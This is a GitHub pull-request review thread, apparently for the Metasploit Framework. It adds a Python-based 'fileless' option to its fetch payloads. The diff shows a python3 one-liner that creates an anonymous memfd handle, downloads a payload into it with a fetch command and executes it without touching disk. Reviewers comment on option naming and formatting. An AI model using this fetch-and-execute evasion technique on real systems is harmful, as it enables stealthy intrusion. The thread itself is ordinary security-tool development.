Adding option to run fileless ELF execution with Python #19943
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dledda-r7
reviewed
Mar 5, 2025
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| Msf::OptBool.new('FETCH_FILELESS', [true, 'Attempt to run payload without touching disk, Linux ≥3.17 only', false], conditions: ['FETCH_FILELESS_PYTHON','==', 'false']), | ||
| Msf::OptBool.new('FETCH_FILELESS_PYTHON', [true, 'Attempt to run payload without touching disk using Python3, Python ≥3.8 and Linux ≥3.17 only ', false], conditions: ['FETCH_FILELESS','==', 'false']), |
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I would re-phrase including the fact with the standard FETCH_FILELESS we are looking for a memfd candidate from external processes and with python we are creating one.
sjanusz-r7
reviewed
Mar 6, 2025
| @@ -210,6 +210,8 @@ def _execute_win(get_file_cmd) | |||
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| def _execute_nix(get_file_cmd) | |||
| return _generate_fileless(get_file_cmd) if datastore['FETCH_FILELESS'] | |||
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As these options seem to be mutually exclusive (FETCH_FILELESS_PYTHON won't get executed if FETCH_FILELESS is true), could we change the FETCH_FILELESS datastore option to an OptEnum? That way, we could potentially use:
set FETCH_FILELESS none (default?)
set FETCH_FILELESS python3.8+
set FETCH_FILELESS ruby
set FETCH_FILELESS bash
jvoisin
reviewed
Mar 6, 2025
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| # same idea as _generate_fileless function, but force creating anonymous file handle | ||
| def _generate_fileless_python(get_file_cmd) | ||
| %Q<python3 -c 'import os, time; fd=os.memfd_create ("", os.MFD_CLOEXEC); os.system(f"f=\\"/proc/{os.getpid()}/fd/{fd}\\"; #{get_file_cmd}; $f &")'> |
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Suggested change
| %Q<python3 -c 'import os, time; fd=os.memfd_create ("", os.MFD_CLOEXEC); os.system(f"f=\\"/proc/{os.getpid()}/fd/{fd}\\"; #{get_file_cmd}; $f &")'> | |
| %Q<python3 -c 'import os;fd=os.memfd_create("",os.MFD_CLOEXEC);os.system(f"f=\\"/proc/{os.getpid()}/fd/{fd}\\";#{get_file_cmd};$f&")'> |
No need for spurious spaces
bwatters-r7
reviewed
Mar 10, 2025
| @@ -209,7 +209,9 @@ def _execute_win(get_file_cmd) | |||
| end | |||
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| def _execute_nix(get_file_cmd) | |||
| return _generate_fileless(get_file_cmd) if datastore['FETCH_FILELESS'] | |||
| return _generate_fileless(get_file_cmd) if datastore['FETCH_FILELESS'] == 'bash' | |||
| return _generate_fileless_python(get_file_cmd) if datastore['FETCH_FILELESS'] == 'python3.8' | |||
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Suggested change
| return _generate_fileless_python(get_file_cmd) if datastore['FETCH_FILELESS'] == 'python3.8' | |
| return _generate_fileless_python(get_file_cmd) if datastore['FETCH_FILELESS'] == 'python3.8+' |
Probably worthwhile to specify this should work with future python, too.
bwatters-r7
reviewed
Mar 10, 2025
| @@ -4,7 +4,7 @@ def initialize(info = {}) | |||
| register_options( | |||
| [ | |||
| Msf::OptEnum.new('FETCH_COMMAND', [true, 'Command to fetch payload', 'CURL', %w[CURL FTP TFTP TNFTP WGET]]), | |||
| Msf::OptBool.new('FETCH_FILELESS', [true, 'Attempt to run payload without touching disk, Linux ≥3.17 only', false]), | |||
| Msf::OptEnum.new('FETCH_FILELESS', [true, 'Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8','none', ['none','bash','python3.8']]), | |||
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Suggested change
| Msf::OptEnum.new('FETCH_FILELESS', [true, 'Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8','none', ['none','bash','python3.8']]), | |
| Msf::OptEnum.new('FETCH_FILELESS', [true, 'Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8','none', ['none','bash','python3.8+']]), |
Same as above comment. I'm assuming we can have special characters in the ENUM.
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With the report of failing
FETCH_FILELESSin restricted/no-gui environment, there should be probably some alternative until the more reliable method is available. This PR adds the alternative option. The new method -FETCH_FILELESS_PYTHONcreates anonymous handle using Python, copies payload into that handle and runs it. The logic/technique is similar to originalFETCH_FILELESS, but the fetch payload creates its own handle.